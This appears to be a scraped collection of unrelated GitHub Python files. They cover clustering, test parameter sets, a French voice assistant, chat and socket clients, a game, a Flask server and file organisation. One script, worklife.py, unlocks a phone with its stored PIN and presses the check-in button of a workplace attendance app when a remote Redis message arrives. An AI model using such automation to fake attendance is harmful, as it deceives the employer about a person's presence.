exists('bandwidth.npy'):\n        bandwidth = np.load('bandwidth.npy')\n        logger.info('Loaded bandwidth')\n    else:\n        # estimate bandwidth for mean shift\n        bandwidth = cluster.estimate_bandwidth(X, quantile=params['quantile'])\n        np.save('bandwidth.npy', bandwidth)\n        logger.info('Generated bandwidth')\n\n    if exists('connectivity.npy'):\n        connectivity = np.load('connectivity.npy', allow_pickle=True)\n        logger.info('Loaded connectivity')\n    else:\n        # connectivity matrix for structured Ward\n        connectivity = kneighbors_graph(\n            X, n_neighbors=params['n_neighbors'], include_self=False)\n        # make connectivity symmetric\n        connectivity = 0.5 * (connectivity + connectivity.T)\n        np.save('connectivity.npy', connectivity)\n        logger.info('Generated connectivity')\n\n    ms = cluster.MeanShift(bandwidth=bandwidth, bin_seeding=True)\n    two_means = cluster.MiniBatchKMeans(n_clusters=params['n_clusters'])\n    ward = cluster.AgglomerativeClustering(\n        n_clusters=params['n_clusters'], linkage='ward',\n        connectivity=connectivity)\n    spectral = cluster.SpectralClustering(\n        n_clusters=params['n_clusters'], eigen_solver='arpack',\n        affinity=\"nearest_neighbors\")\n    dbscan = cluster.DBSCAN(eps=params['eps'])\n    optics = cluster.OPTICS(min_samples=params['min_samples'],\n                            xi=params['xi'],\n                            min_cluster_size=params['min_cluster_size'])\n    affinity_propagation = cluster.AffinityPropagation(\n        damping=params['damping'], preference=params['preference'])\n    average_linkage = cluster.AgglomerativeClustering(\n        linkage=\"average\", affinity=\"cityblock\",\n        n_clusters=params['n_clusters'], connectivity=connectivity)\n    birch = cluster.Birch(n_clusters=params['n_clusters'])\n    gmm = mixture.GaussianMixture(\n        n_components=params['n_clusters'], covariance_type='full')\n\n    clustering_algorithms = (\n        ('MiniBatchKMeans', two_means),\n        ('AffinityPropagation', affinity_propagation),\n        ('MeanShift', ms),\n        ('SpectralClustering', spectral),\n        ('DBSCAN', dbscan),\n        ('OPTICS', optics),\n        ('Birch', birch),\n        ('GaussianMixture', gmm)\n        # ('Ward', ward),\n        # ('AgglomerativeClustering', average_linkage),\n    )\n\n    for name, algorithm in clustering_algorithms:\n        if exists(f'part-{name}-{filename}'):\n            labels = TimeSeries.read(f'part-{name}-{filename}', f'{name}-labels')\n            logger.debug(f'LOADED {name}.')\n        else:\n            logger.debug(f'doing {name}...')\n            # catch warnings related to kneighbors_graph\n            with warnings.catch_warnings():\n                warnings.filterwarnings(\n                    \"ignore\",\n                    message=\"the number of connected components of the \" +\n                            \"connectivity matrix is [0-9]{1,2}\" +\n                            \" > 1. Completing it to avoid stopping the tree early.\",\n                    category=UserWarning)\n                warnings.filterwarnings(\n                    \"ignore\",\n                    message=\"Graph is not fully connected, spectral embedding\" +\n                            \" may not work as expected.\",\n                    category=UserWarning)\n                algorithm.fit(X)\n\n            if hasattr(algorithm, 'labels_'):\n                y_pred = algorithm.labels_.astype(np.int)\n            else:\n                y_pred = algorithm.predict(X)\n            # cast the output labels to a TimeSeries so that cropping is easy later on.\n            labels = TimeSeries(y_pred,\n                                times=dl[channels[0]].crop(start=to_gps(start), end=to_gps(stop)).times,\n                                name=f'{name}-labels')\n\n            labels.write(f'part-{name}-{filename}')\n        # put labels in data download dictionary for easy saving.\n        dl[labels.name] = labels\n\n    # write data download and labels to specified filename.\n    cache_file = abspath(filename)\n    if exists(cache_file):\n        remove(cache_file)\n    dl.write(cache_file)\n    logger.info(f'Wrote cache to {filename}')\n","repo_name":"bernhardtj/DetectorChar","sub_path":"clustering/cluster-all.py","file_name":"cluster-all.py","file_ext":"py","file_size_in_byte":7378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36744736305","text":"class ParameterSet:\n    \"\"\"\n    A set of parameter names mapped to their values.  Such as\n\n        paramA = [ 'Aval1', 'Aval2', ... ]\n        paramB = [ 'Bval1', 'Bval2', ... ]\n        ...\n\n    A set of instances is the cartesian product of the values (an instance\n    is a dictionary of param_name=param_value).  Such as\n\n        { 'paramA':'Aval1', 'paramB':'Bval1', ... }\n        { 'paramA':'Aval1', 'paramB':'Bval2', ... }\n        { 'paramA':'Aval2', 'paramB':'Bval1', ... }\n        { 'paramA':'Aval2', 'paramB':'Bval2', ... }\n        ...\n\n    Parameter names can be grouped, such as\n\n        paramC,paramD = [ ('Cval1','Dval1'), ('Cval2','Dval2'), ... ]\n\n    The cartesian product does NOT apply to values within a group (the values\n    are taken verbatim).\n    \"\"\"\n\n    def __init__(self):\n        \"\"\n        self.params = {}\n        self.type_map = {}\n        self.staged = None\n        self.instances = []\n\n    def addParameters(self, names, values_list, staged=False):\n        \"\"\"\n        Such as\n            ['param_name'], [ ['value1'], ['value2'] ]\n        or\n            ('paramA','paramB'), [ ['A1','B1'], ['A2','B2'] ]\n        \"\"\"\n        self.params[ tuple(names) ] = list(values_list)\n        if staged:\n            self.staged = ( list( names ), list( values_list ) )\n        self._constructInstances()\n\n    def addParameter(self, name, values):\n        \"\"\"\n        Convenience function for the case of a single parameter name.\n        \"\"\"\n        self.addParameters( [name], [ [v] for v in values ] )\n\n    def setParameterTypeMap(self, type_map):\n        \"\"\"\n        Such as { 'np': int, 'dx': float }.\n        \"\"\"\n        self.type_map = dict( type_map )\n\n    def getParameterTypeMap(self):\n        \"\"\n        return self.type_map\n\n    def getStagedGroup(self):\n        \"\"\n        if self.staged:\n            return self.staged[0], self.staged[1]  # names list, values list\n        return None\n\n    def applyParamFilter(self, param_filter_func):\n        \"\"\"\n        Filters down the set of parameter instances, which is reflected in\n        the getInstances() method afterwards. The param_filter_func() function\n        is called with a parameter dict instance, and should return True to\n        retain that instance or False to remove it.\n        \"\"\"\n        self._constructInstances()\n\n        newL = []\n        for instD in self.instances:\n            if param_filter_func( instD ):\n                newL.append( instD )\n\n        self.instances = newL\n\n    def intersectionFilter(self, params_list):\n        \"\"\"\n        Restricts the parameter instances to those that are in 'params_list',\n        a list of parameter name to value dictionaries.\n        \"\"\"\n        self.applyParamFilter( lambda pD: pD in params_list )\n\n    def getInstances(self):\n        \"\"\"\n        Return the list of dictionary instances, which contains all\n        combinations of the parameter values (the cartesian product).\n        \"\"\"\n        return self.instances\n\n    def getParameters(self, typed=False, serializable=False):\n        \"\"\"\n        Returns the filtered parameters in a dictionary, such as\n            {\n              ('paramA',) : [ ['a1'], ['a2'], ... ] ],\n              ('paramB', 'paramC') : [ ['b1','c1'], ['b2','c2'], ... ] ],\n            }\n\n        if ``serializable``, then the keys of the returned mappings will be\n        strings formed as:\n            ('key1', 'key2', ..., 'key3') -> 'key1,key2,...,key3'\n        \"\"\"\n        instL = self.getInstances()\n        filtered_params = {}\n\n        for nameT,valuesL in self.params.items():\n\n            L = []\n            for valL in valuesL:\n                if contains_parameter_name_value( instL, nameT, valL ):\n                    if typed:\n                        valL = apply_value_types( self.type_map, nameT, valL )\n                    L.append( valL )\n\n            key = nameT if not serializable else  \",\".join([str(_) for _ in nameT])\n            filtered_params[ key ] = L\n\n        return filtered_params\n\n    def isEmpty(self):\n        \"\"\"\n        Returns True if there are no parameter instances left after filtering.\n        \"\"\"\n        return len( self.instances ) == 0\n\n    def _constructInstances(self):\n        \"\"\n        if len(self.params) == 0:\n            self.instances = []\n\n        else:\n            instL = [ {} ]  # a seed for the accumulation algorithm\n            for names,values in self.params.items():\n                instL = accumulate_parameter_group_list( instL, names, values )\n            self.instances = instL\n\n\n###########################################################################\n\ndef apply_value_types( type_map, nameT, valL ):\n    \"\"\n    newvalL = []\n    for i,name in enumerate(nameT):\n        if name in type_map:\n            newvalL.append( type_map[name]( valL[i] ) )\n        else:\n            newvalL.append( valL[i] )\n\n    return newvalL\n\n\ndef contains_parameter_name_value( instances, nameT, valL ):\n    \"\"\"\n    Returns true if the given parameter names are equal to the given values\n    for at least one instance dictionary in the 'instances' list.\n    \"\"\"\n    ok = False\n    for D in instances:\n        cnt = 0\n        for n,v in zip( nameT, valL ):\n            if D[n] == v:\n                cnt += 1\n        if cnt == len(nameT):\n            ok = True\n            break\n\n    return ok\n\n\ndef accumulate_parameter_group_list( Dlist, names, values_list ):\n    \"\"\"\n    Performs a cartesian product with an existing list of dictionaries and a\n    new name=value set.  For example, if\n\n        Dlist = [ {'A':'a1'} ]\n        names = ('B',)\n        values_list = [ ['b1'], ['b2'] ]\n\n    then this list is returned\n\n        [ {'A':'a1', 'B':'b1'},\n          {'A':'a1', 'B':'b2'} ]\n\n    An example using a group:\n\n        Dlist = [ {'A':'a1'}, {'A':'a2'} ]\n        names = ('B','C')\n        values_list = [ ['b1','c1'], ['b2','c2'] ]\n\n    would yield\n\n        [ {'A':'a1', 'B':'b1', 'C':'c1'},\n          {'A':'a1', 'B':'b2', 'C':'c2'},\n          {'A':'a2', 'B':'b1', 'C':'c1'},\n          {'A':'a2', 'B':'b2', 'C':'c2'} ]\n    \"\"\"\n    newL = []\n    for values in values_list:\n        L = add_parameter_group_to_list_of_dicts( Dlist, names, values )\n        newL.extend( L )\n    return newL\n\n\ndef add_parameter_group_to_list_of_dicts( Dlist, names, values ):\n    \"\"\"\n    Copies and returns the given list of dictionaries but with\n    names[0]=values[0] and names[1]=values[1] etc added to each.\n    \"\"\"\n    assert len(names) == len(values)\n    N = len(names)\n\n    new_Dlist = []\n\n    for D in Dlist:\n        newD = D.copy()\n        for i in range(N):\n            newD[ names[i] ] = values[i]\n        new_Dlist.append( newD )\n\n    return new_Dlist\n","repo_name":"sandialabs/vvtest","sub_path":"libvvtest/paramset.py","file_name":"paramset.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"35596092855","text":"#!/bin/python\n#coding=utf8\n'''\nAuthor: Michael Jin\ndate:2023-10-29\n'''\nimport uiautomator2 as u2\nimport time\nimport os\nimport base64\nimport requests\nimport redis\nfrom configparser import ConfigParser\n\n\n###读取配置文件\ndef load_config():#加载配置文件\n    conf=ConfigParser()\n    if os.name=='nt':\n#        path='K:/config.ini'\n        path=r'D:\\Downloads\\PortableGit-2.36.1-64-bit.7z\\bin\\Quat\\config.ini'\n    elif os.name=='posix':\n        path='/usr/local/src/Quat/config.ini'\n    else:\n        print('no config file was found!')\n\n    conf.read(path,encoding=\"utf-8\")\n    return conf\n\n\n###连接手机\ndef u2_connect(conf):\n    try:\n        print('正在尝试有线连接!')\n        d=u2.connect()\n        print(d.info)\n    except:\n        print('正在尝试无线连接!')\n        addr=conf.get('adb','ip')\n        cmd=f'adb connect {addr}'\n        print(cmd)\n        if os.name=='posix':\n            os.system(cmd)\n        elif os.name=='nt':\n            os.system(f'D:\\Downloads\\scrcpy-win64-v2.1\\\\{cmd}')\n        d=u2.connect(addr)\n        print(d.info)\n    return d\n\n\n###检查ui2服务是否运行\ndef check_status(d):\n    if d.service('uiautomator').running():\n        print('servise running')\n    else:\n        print('starting servise')\n        d.service('uiautomator').start()\n\n###死循环解锁屏幕，确保解锁成功\ndef wakeup(d,conf):\n    '''\n    d(obj):u2对象\n    conf:load_conf返回结果\n    '''\n    while True:\n        #检查屏幕状态，如果息屏，点亮并解锁\n        if d.info.get('screenOn')==False:#熄屏状态\n            d.unlock()\n            unlock=conf.get('adb','unlock')#解锁密码\n            if os.name=='posix':\n                os.system('adb shell input text {}'.format(unlock))\n            elif os.name=='nt':\n                os.system('D:\\Downloads\\scrcpy-win64-v2.1\\\\adb shell input text {}'.format(unlock))\n        elif d.info.get('screenOn')==True:#熄屏状态\n            break\n\n###通知功能\ndef notify(method,title,content):\n    '''\n    功能：推送消息\n    title:消息的标题\n    content:消息的内容\n\n    '''\n    conf=load_config()#读取配置文件\n    token=conf.get('pushplus','token')#获取配置文件中的token\n\n    if method=='get':\n        if isinstance(content,str):\n            url=f'http://www.pushplus.plus/send?token={token}&title={title}&content={content}'#构建get请求的地址\n        elif isinstance(content,list):\n            pass\n    \n    \n        res=requests.get(url)#发送get请求\n        print(res.status_code)\n        print(res.url)\n    elif method=='post':\n        url='http://www.pushplus.plus/send/'\n        data={\n                'token':f'{token}',\n                'title':f'{title}',\n                'content':f'{content}'\n                }\n        res=requests.post(url,data=data)\n        print(res.status_code)\n        print(data)\n\n###打卡\ndef check_in(d,click='NO'):\n    wakeup(d,conf)#解锁屏幕\n    if check_running(d,'com.cdp.epPortal'):\n        print('检测到后台运行，正在停止该app')\n        d.app_stop('com.cdp.epPortal')\n\n    #打开app开始操作\n    d.app_start('com.cdp.epPortal')\n    #开始打卡\n    d(text='移动打卡').click()\n    time.sleep(15)\n    d.press('back')\n    d(text='移动打卡').click()\n    #等待加载完成\n    while True:\n        print('loading')\n        if d(description='上海钦州北路1198号').exists():\n            print('加载完成')\n            break\n    while True:\n        if d(description='第1次打卡').exists():\n            notify('post','worklife','未打过卡，正在进行第一次打卡')\n            if click=='YES':\n                d(description='第1次打卡').click()\n            break\n        elif d(description='第2次打卡').exists():\n            notify('post','worklife','打过1次卡，正在进行第二次打卡')\n            if click=='YES':\n                d(description='第2次打卡').click()\n            break\n    d.app_stop('com.cdp.epPortal')\n    d.screen_off()\n\n\n###检查某个app是否在后台运行\ndef check_running(d,name):\n    '''\n    d(obj):u2连接对象\n    name(str):app名称\n    '''\n    running_apps=d.app_list_running()\n#    print(running_apps)\n    for app in running_apps:\n        print(f'正在比对{app}')\n        if name==app:\n            return True\n\n\ndef main(conf):\n    token=conf.get('redis','token')\n    r = redis.Redis(\n        host='redis-16873.c294.ap-northeast-1-2.ec2.cloud.redislabs.com',\n        port=16873,\n        password=token)\n    ps = r.pubsub()\n    ps.subscribe('myChannel')\n    print('开始监听')\n    for item in ps.listen():  # keep listening, and print the message in the channel\n        if item['type'] == 'message':\n            signals = item['data'].decode('utf-8')\n            if signals == 'exit':\n                break\n            elif signals=='test':\n                check_in(d)\n            elif signals=='check_in':\n                check_in(d,'YES')\n\nif __name__=='__main__':\n    conf=load_config()\n    d=u2_connect(conf)\n    while True:\n        try:\n            main(conf)\n        except:\n            check_status(d)\n            continue\n","repo_name":"jinjiachen/Tools4Cert","sub_path":"worklife.py","file_name":"worklife.py","file_ext":"py","file_size_in_byte":5127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37689179000","text":"import os\nimport string\nfrom list_film import films_titles,films_awards\n\n#Task 1.\n#Hide, as created the dir\n# os.makedirs(\"Harry_Potter\")\n\nprint(os.getcwd())\n\nos.chdir(\"Harry_Potter\")\nlocation = os.getcwd()\n#Hide, as created the dirs\n# for film in films_titles[\"results\"]:\n#     title = film[\"title\"]\n#     title = title.replace(\":\",\"-\").replace(\" \",\"_\")\n#     new_path = os.path.join(location,str(title))\n#     os.makedirs(new_path)\n\n# Task 2.\nlist_characters = string.ascii_uppercase\n# list_files = os.listdir()\n\n#Hide, as created the dirs\n# for dir in os.listdir():\n#     list_new_path = os.path.join(location, dir)\n#     print(list_new_path)\n#     for char in list_characters:\n#         # print(os.path.join(list_new_path, str(char)))\n#         os.makedirs(os.path.join(list_new_path, str(char)))\n# Task 3.\n\nselected_awards = {}\nfor title_data in films_titles[\"results\"]:\n    imdb_id = title_data[\"imdb_id\"]\n    title = title_data[\"title\"]\n    awards_for_title = []\n    for list in films_awards:\n        for award_data in list[\"results\"]:\n            if award_data[\"movie\"][\"imdb_id\"] == imdb_id:\n                awards_for_title.append({\n                \"type\": award_data[\"type\"],\n                \"award_name\": award_data[\"award_name\"],\n                \"award\": award_data[\"award\"]\n            })\n    selected_awards.setdefault(title, awards_for_title)\n# print(selected_awards)\n\n\n# Task 4.\nsorted_data = {movie: sorted(awards, key=lambda x: x['award_name'])\n               for movie, awards in selected_awards.items()}\n# print(sorted_data)\n\n# Task 5.\n\nnew_selected_awards = {}\nfor key, value in selected_awards.items():\n    new_key = key.replace(\":\", \"-\").replace(\" \", \"_\")\n    new_selected_awards[new_key] = value\nprint(new_selected_awards)\n# print(os.listdir())\n\nfor dir, awards in new_selected_awards.items():\n    print(dir)\n    list_new_path = os.path.join(location, dir)\n    if not os.path.exists(list_new_path):\n        os.makedirs(list_new_path)\n    for award in awards:\n        award_name = award[\"award_name\"]\n        award_type = award[\"award\"]\n\n        first_letter = award_name[0].upper()\n        award_directory = os.path.join(list_new_path, first_letter)\n        if not os.path.exists(award_directory):\n            os.makedirs(award_directory)\n\n        file_name = os.path.join(award_directory, f'{award_name}.txt')\n        with open(file_name, mode=\"w\", encoding=\"utf-8\") as file:\n            file.write('')\n\n# #Task 6.In the file with the name of each award, transfer all the names of the nominations\n# # of this (award) award. ExampleVES Award File:\nprint(os.getcwd())\n\nawards_by_name = {}\nfor dir, awards in new_selected_awards.items():\n    list_new_path = os.path.join(location, dir)\n\n    if not os.path.exists(list_new_path):\n        os.makedirs(list_new_path)\n\n    for award in awards:\n        award_name = award[\"award_name\"]\n        award_type = award[\"award\"]\n\n        if award_name not in awards_by_name:\n            awards_by_name[award_name] = []\n        awards_by_name[award_name].append(award_type)\n        # print(award_type)\n        first_letter = award_name[0].upper()\n        award_directory = os.path.join(list_new_path, first_letter)\n\n        with open(os.path.join(award_directory, f'{award_name}.txt'),\n                  mode=\"w\", encoding=\"utf-8\") as file:\n            for each_award in awards_by_name[award_name]:\n                file.write(f'{each_award}\\n')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# read_films = open(\"test.py\")\n# new = read_films.readline()\n# print(read_films.readlines())\n\n# list_refer_txt = \"potter.txt\"\n# print(os.listdir(list_refer_txt))\n# list_refer_txt.close()\n\n# new_obj = open(\"potter_3.txt\", mode = \"w\")\n# new_obj.write(\"potter_3.txt\")\n# print(new_obj.writable())\n# new_obj.seek()\n# print(new_obj_sata)\n","repo_name":"LesiaSt/HomeTask_12","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28883778891","text":"import datetime\nfrom email.mime import audio\nfrom jmespath import search\nimport speech_recognition as sr\nfrom gtts import gTTS\nimport playsound\nimport os\nimport weathercom\nimport json\nimport webbrowser\nimport random\nimport pyttsx3 \nfrom time import ctime\nimport time\nimport wikipedia\nimport urllib.request\nimport requests\nimport bs4 as bs\n\nr = sr.Recognizer()\nengine = pyttsx3.init()\nvoices = engine.getProperty('voices')\nengine.setProperty('voice', \"french\")\n\n\ndef record_audio(ask = False):\n    with sr.Microphone() as source:\n        if ask:\n            kakiri_speak(ask)\n        audio = r.listen(source)\n        voice_data = ''\n        try:\n            voice_data = r.recognize_google(audio,  language=\"fr-FR\")\n        except sr.UnknownValueError:\n            kakiri_speak(\"Désoler je n'ai rien capter\")\n        except sr.RequestError:\n            kakiri_speak(\"Désoler, je ferme mon service\")\n        return voice_data\n    \n\n\ndef kakiri_speak(audio_string):\n    tts = gTTS(text=audio_string, lang=\"fr\")\n    r = random.randint(1,10000000)\n    audio_file = \"audio-\" + str(r) + \".mp3\"\n    tts.save(audio_file)\n    playsound.playsound(audio_file)\n    print(audio_string)\n    os.remove(audio_file)\n\n\ndef respond(voice_data):\n    if \"quel est ton nom\" in voice_data:\n        kakiri_speak(\"Mon nom est Kakiri, votre assistant vocal\")\n    if \"temps\" in voice_data:\n        kakiri_speak(ctime())\n    if \"recherche\" in voice_data:\n        search = record_audio(\"que voulez-vous chercher?\")\n        if \"où suis-je\" in voice_data:\n            url = \"https://www.google.com/maps/search/Where+am+I+?/\"\n        webbrowser.get().open(url)\n        kakiri_speak(\"Vous devez être quelque part près d'ici, selon Google Maps\")   \n\n        url = \"https://google.com/search?q=\" + search\n        kakiri_speak(\"Voici le  resultat de mes recherches concernat \" + search)\n        webbrowser.get().open(url)\n    if \"localisation\" in voice_data:\n        location = record_audio(\"que voulez-vous localiser\")\n        url = \"https://google.nl/maps/place/\" + location + \"/&amp;\"\n        kakiri_speak(\"Voici la localisation de \" + search)\n        webbrowser.get().open(url)\n    if \"heure\" in voice_data:\n        heure = datetime.datetime.now().strftime(\"%H:%M\")\n        kakiri_speak(\"il est \"+ heure)\n\n    if \"bnjour\" or \"bonsoir\" or \"coucou\" or \"salut\" in voice_data:\n        kakiri_speak(\"Salut\")\n\n    if \"wikipedia\" or \"Wikipedia\" in voice_data:\n        def wiki_person(text):\n            list_wiki = text.split()\n            for i in range(0, len(list_wiki)):\n                if i + 3 <= len(list_wiki) - 1 and list_wiki[i].lower() == \"qui\" and list_wiki[i + 1].lower() == \"est\":\n                    return list_wiki[i + 2] + \" \" + list_wiki[i + 3]\n        if \"qui est\" or \"qu'est-ce que\" in voice_data:\n            wikipedia.set_lang(\"fr\")\n            person = wiki_person(voice_data)\n            wiki = wikipedia.summary(person, sentences=2)\n            kakiri_speak(wiki)\n\n    if \"qui suis-je\" in voice_data:\n        kakiri_speak( \"Votre etes probablement mon detenteur\")\n\n    if \"que fais-tu\" or \"pourquoi existe tu\" in voice_data :\n        kakiri_speak(\"C'est un secret\")\n\n    if \"définition de\" in voice_data:\n        definition=record_audio(\"Avez-vous besoin de la définition de\")\n        url=urllib.request.urlopen('https://fr.wikipedia.org/wiki/'+definition)\n        soup=bs.BeautifulSoup(url,'lxml')\n        definitions=[]\n        for paragraph in soup.find_all('p'):\n            definitions.append(str(paragraph.text))\n        if definitions:\n            if definitions[0]:\n                kakiri_speak(\"Je suis désolé, je n'ai pas trouvé cette définition, veuillez essayer une recherche sur le Web\")\n            elif definitions[1]:\n                kakiri_speak(\"Voici ce que j'ai trouver\"+definitions[1])\n            else:\n                kakiri_speak (\"Voici ce que j'ai trouver\"+definitions[2])\n        else:\n                kakiri_speak(\"Désolé je n'ai pas pu trouver la definition de \"+definition)\n\n\n \n        \n    if (\"sortir\" or \"stop\" or \"sortie\") in voice_data:\n        exit()\n\n\ntime.sleep(1)\nkakiri_speak(\"que puis-je pour vous?\")\n\nwhile(1):\n    voice_data = record_audio()\n    respond(voice_data)\n\n# def voice_command_processor(ask=False):\n#     with sr.Microphone() as source:\n#         print(\"En écoute...\")\n#         if(ask):\n#             audio_playback(ask)\n#         audio = r.listen(source)\n#         text = ''\n#         try:\n#             text=r.recognize_google(audio, language=\"fr-FR\")\n#         except sr.UnknownValueError as e:\n#             print(e)\n#         except sr.RequestError as e:\n#             print(\"le service est en panne\")\n\n#         return text.lower()\n\n\n\n# def audio_playback(text):\n#     filename = \"test.mp3\"\n#     tts = gTTS(text=text, lang='fr-FR')\n#     tts.save(filename)\n#     playsound.playsound(filename)\n#     os.remove(filename)\n\n\n# def execute_voice_command(text):\n#     if (\"qu'es-tu\" or \"qu'est-ce que tu es\") in text:\n#         audio_playback(\"je suis un système d'assistance vocale \")\n\n#     if (\"quel temps fait-il aujourd'hui\" or \"météo\") in text:\n#         city = voice_command_processor(\"quelle ville\")\n#         humidity, temp, phrase = weatherReport(city)\n#         audio_playback(\"Actuellement à \" + city + \"  la température est \" + str(temp)\n#                        + \" degré Celsius, \" + \"l'humidité est \" + str(humidity) + \" pour cent et le ciel est \" + phrase)\n#         print(\"Actuellement à \" + city + \"  la température est \" + str(temp)\n#               + \"degré Celsius, \" + \"l'humidité est \" + str(humidity) + \" pour cent et le ciel est \" + phrase)\n\n\n# def weatherReport(city):\n#     weatherDetails = weathercom.getCityWeatherDetails(city)\n#     humidity = json.loads(weatherDetails)[\"vt1observation\"][\"humidity\"]\n#     temp = json.loads(weatherDetails)[\"vt1observation\"][\"temperature\"]\n#     phrase = json.loads(weatherDetails)[\"vt1observation\"][\"phrase\"]\n#     return humidity, temp, phrase\n\n\n# while True:\n#     command = voice_command_processor()\n#     print(command)\n#     execute_voice_command(command)","repo_name":"RUFOS-od/VoiceBot","sub_path":"botTest/VoiceAssistant.py","file_name":"VoiceAssistant.py","file_ext":"py","file_size_in_byte":6091,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13704310554","text":"import asyncio\nimport websockets\n\n# 사용자 입력을 받아서 웹소켓을 통해 서버로 메시지를 전송하는 비동기 함수\nasync def user_input():\n    async with websockets.connect(\"ws://localhost:8765\") as websocket:\n        while True:\n            message = input(\"나: \")  # 사용자로부터 메시지 입력\n            await websocket.send(message)  # 웹소켓을 통해 서버로 메시지 전송\n\n# 웹소켓을 통해 서버로부터 메시지를 수신하고 출력하는 비동기 함수\nasync def receive_messages():\n    async with websockets.connect(\"ws://localhost:8765\") as websocket:\n        while True:\n            message = await websocket.recv()  # 웹소켓을 통해 서버로부터 메시지 수신\n            print(\"상대방:\", message)  # 수신한 메시지 출력\n\n# 메인 비동기 함수\nasync def main():\n    # user_input()과 receive_messages() 함수를 동시에 실행\n    await asyncio.gather(user_input(), receive_messages())\n\n# asyncio 루프를 생성하고 main() 함수를 실행\nasyncio.get_event_loop().run_until_complete(main())\n","repo_name":"Crush-on-Study/Chatting","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"73708904722","text":"import random\n\n\n\n\n\n\n#computer = random.randint(len(chose),2+1)\n\nwhile True:\n\n    user_choice = input(\"Enter a choice (rock, paper or scissors):\\n\")\n    possible_choices=['rock','paper','scissors']\n    computer_choice = random.choice(possible_choices)\n    \n    if user_choice == computer_choice:\n        print(f\"Both player selected {computer_choice}. So its a tie!\")\n    elif user_choice == 'rock' and computer_choice == 'paper' or user_choice=='paper' and computer_choice =='scissors' or user_choice == 'scissors' and computer_choice == 'rock':\n        print(f\"You choosed {user_choice} and Computer choosed {computer_choice}. So Computer wins!\")\n    elif user_choice not in possible_choices:\n        print('Invalid user choice')\n        break\n    elif user_choice == 'rock' and computer_choice == 'scissors' or user_choice=='scissors' and computer_choice =='paper' or user_choice == 'paper' and computer_choice == 'rock':\n        print(f\"You choosed {user_choice} and Computer choosed {computer_choice}. So you win!\")\n    play_again = input(\"Do you want to play again? (y/n): \").lower()\n    if play_again != \"y\":\n        break\n    \n\n    \n    \n\"\"\" \nif user_choice == 'rock' and choose == 'paper':\n    print('computer wins')\nelif user_choice == 'paper' and choose == 'paper':\n    print('draw')\nelif user_choice == 'rock' and choose == 'rock':\n    print('draw')\nelif user_choice == 'scissors' and choose == 'scissors':\n    print('draw')\nelif user_choice == 'rock' and choose == 'scissors':\n    print('user player wins')\nelif user_choice == 'scissors' and choose == 'rock':\n    print('computer wins')\nelif user_choice == 'paper' and choose == 'rock':\n    print('user player wins')   \nelif user_choice == 'scissors' and choose == 'paper':\n    print('user player wins')\nelif user_choice == 'paper' and choose == 'scissors':\n    print('computer wins')\nelse:\n    print('interesting')\nprint(choose) \"\"\"\n#print(choose)\n\n\n   ","repo_name":"Wung-brandon/Rock-Paper-Scissors-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70530655123","text":"\n\nimport socket, time\n\ndef serverConnect():\n    sock = socket.socket()\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    host = '192.168.0.106'\n    port = 12345\n    return sock\n\n\ndef pingServer(sock):\n    tList = []\n    tList.append(time.time())\n    sock.connect((host,port))\n    msg = sock.recv(1024)\n    tList.append(int(msg.decode())/1000000)\n\n    tList.append(time.time())\n    sock.send('1'.encode())\n\n    return tList\n\ndef closeConnection(sock):\n    sock.send('2'.encode())\n    sock.close()\n    print('Connection closed')\n","repo_name":"foragingBRAIN/rPi","sub_path":"foraging_home_ping_v02.py","file_name":"foraging_home_ping_v02.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31405347067","text":"from flask import render_template\nimport connexion\nfrom flask_cors import CORS\n\n\n# Create application instance\napp = connexion.App(__name__, specification_dir=\"./\")\nCORS(app.app)\n# Read the swagger.yml file to configure the endpoints\napp.add_api(\"swagger.yml\")\n\n# Create a URL route in our app for \"/\"\n@app.route(\"/\")\ndef home():\n    \"\"\"\n    This function just responds to the browser URL\n    localhost:5000/\n\n    :return:    \"Welcome to the TranSupport API!\"\n    \"\"\"\n    return \"Welcome to the TranSupport API!\"\n\n\n# If we;re running in stand alone mode, run the >ptyapp\nif __name__ == \"__main__\":\n    app.run(host=\"0.0.0.0\", port=8080, debug=True)\n","repo_name":"StephanieJoyMills/transupport","sub_path":"backend/src/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"21676383722","text":"from app.config.db import get_string_conexao\nfrom app.config.db import error\n\nclass ItensPedido():\n  def __init__(self):\n    self.id = 0\n    self.produto_id = 0\n    self.pedido_id = 0\n\n  def salvar(self):\n    try:\n      connection = get_string_conexao()\n      if connection.is_connected():\n        cursor = connection.cursor()\n        sql = \"INSERT INTO itens_pedidos (produto_id, pedido_id)\" + \"VALUES (%s, %s)\"\n        valores = (self.produto_id, self.pedido_id)\n        cursor.execute(sql, valores)\n        connection.commit()\n        return {\"error\": False}\n    except error as e:\n        print(e)\n        return {\"error\": True, \"msg\": e}\n    finally:\n      if connection.is_connected():\n        cursor.close()\n        connection.close()\n","repo_name":"Jo-Analyst/Codigo-de-estudos","sub_path":"python/Desafio-python16/app/model/itens_pedidos.py","file_name":"itens_pedidos.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
